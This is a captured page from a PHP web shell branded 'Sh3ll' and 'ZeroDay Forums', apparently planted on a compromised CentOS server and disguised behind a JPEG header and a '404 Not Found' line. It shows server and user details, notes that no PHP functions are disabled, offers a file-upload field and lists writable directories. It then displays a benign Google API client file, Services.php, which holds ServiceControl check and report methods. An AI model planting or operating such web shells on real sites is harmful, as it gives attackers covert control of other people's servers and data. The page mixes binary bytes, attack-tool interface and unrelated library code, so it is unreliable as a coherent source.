����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/lnovel/vendor/google/apiclient-services/src/ServiceControl/Resource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/lnovel/vendor/google/apiclient-services/src/ServiceControl/Resource/Services.php
<?php
/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */

namespace Google\Service\ServiceControl\Resource;

use Google\Service\ServiceControl\CheckRequest;
use Google\Service\ServiceControl\CheckResponse;
use Google\Service\ServiceControl\ReportRequest;
use Google\Service\ServiceControl\ReportResponse;

/**
 * The "services" collection of methods.
 * Typical usage is:
 *  <code>
 *   $servicecontrolService = new Google\Service\ServiceControl(...);
 *   $services = $servicecontrolService->services;
 *  </code>
 */
class Services extends \Google\Service\Resource
{
  /**
   * Private Preview. This feature is only available for approved services. This
   * method provides admission control for services that are integrated with
   * [Service Infrastructure](https://cloud.google.com/service-infrastructure). It
   * checks whether an operation should be allowed based on the service
   * configuration and relevant policies. It must be called before the operation
   * is executed. For more information, see [Admission
   * Control](https://cloud.google.com/service-infrastructure/docs/admission-
   * control). NOTE: The admission control has an expected policy propagation
   * delay of 60s. The caller **must** not depend on the most recent policy
   * changes. NOTE: The admission control has a hard limit of 1 referenced
   * resources per call. If an operation refers to more than 1 resources, the
   * caller must call the Check method multiple times. This method requires the
   * `servicemanagement.services.check` permission on the specified service. For
   * more information, see [Service Control API Access
   * Control](https://cloud.google.com/service-infrastructure/docs/service-
   * control/access-control). (services.check)
   *
   * @param string $serviceName The service name as specified in its service
   * configuration. For example, `"pubsub.googleapis.com"`. See
   * [google.api.Service](https://cloud.google.com/service-
   * management/reference/rpc/google.api#google.api.Service) for the definition of
   * a service name.
   * @param CheckRequest $postBody
   * @param array $optParams Optional parameters.
   * @return CheckResponse
   */
  public function check($serviceName, CheckRequest $postBody, $optParams = [])
  {
    $params = ['serviceName' => $serviceName, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('check', [$params], CheckResponse::class);
  }
  /**
   * Private Preview. This feature is only available for approved services. This
   * method provides telemetry reporting for services that are integrated with
   * [Service Infrastructure](https://cloud.google.com/service-infrastructure). It
   * reports a list of operations that have occurred on a service. It must be
   * called after the operations have been executed. For more information, see
   * [Telemetry Reporting](https://cloud.google.com/service-
   * infrastructure/docs/telemetry-reporting). NOTE: The telemetry reporting has a
   * hard limit of 1000 operations and 1MB per Report call. It is recommended to
   * have no more than 100 operations per call. This method requires the
   * `servicemanagement.services.report` permission on the specified service. For
   * more information, see [Service Control API Access
   * Control](https://cloud.google.com/service-infrastructure/docs/service-
   * control/access-control). (services.report)
   *
   * @param string $serviceName The service name as specified in its service
   * configuration. For example, `"pubsub.googleapis.com"`. See
   * [google.api.Service](https://cloud.google.com/service-
   * management/reference/rpc/google.api#google.api.Service) for the definition of
   * a service name.
   * @param ReportRequest $postBody
   * @param array $optParams Optional parameters.
   * @return ReportResponse
   */
  public function report($serviceName, ReportRequest $postBody, $optParams = [])
  {
    $params = ['serviceName' => $serviceName, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('report', [$params], ReportResponse::class);
  }
}

// Adding a class alias for backwards compatibility with the previous class name.
class_alias(Services::class, 'Google_Service_ServiceControl_Resource_Services');

ZeroDay Forums Mini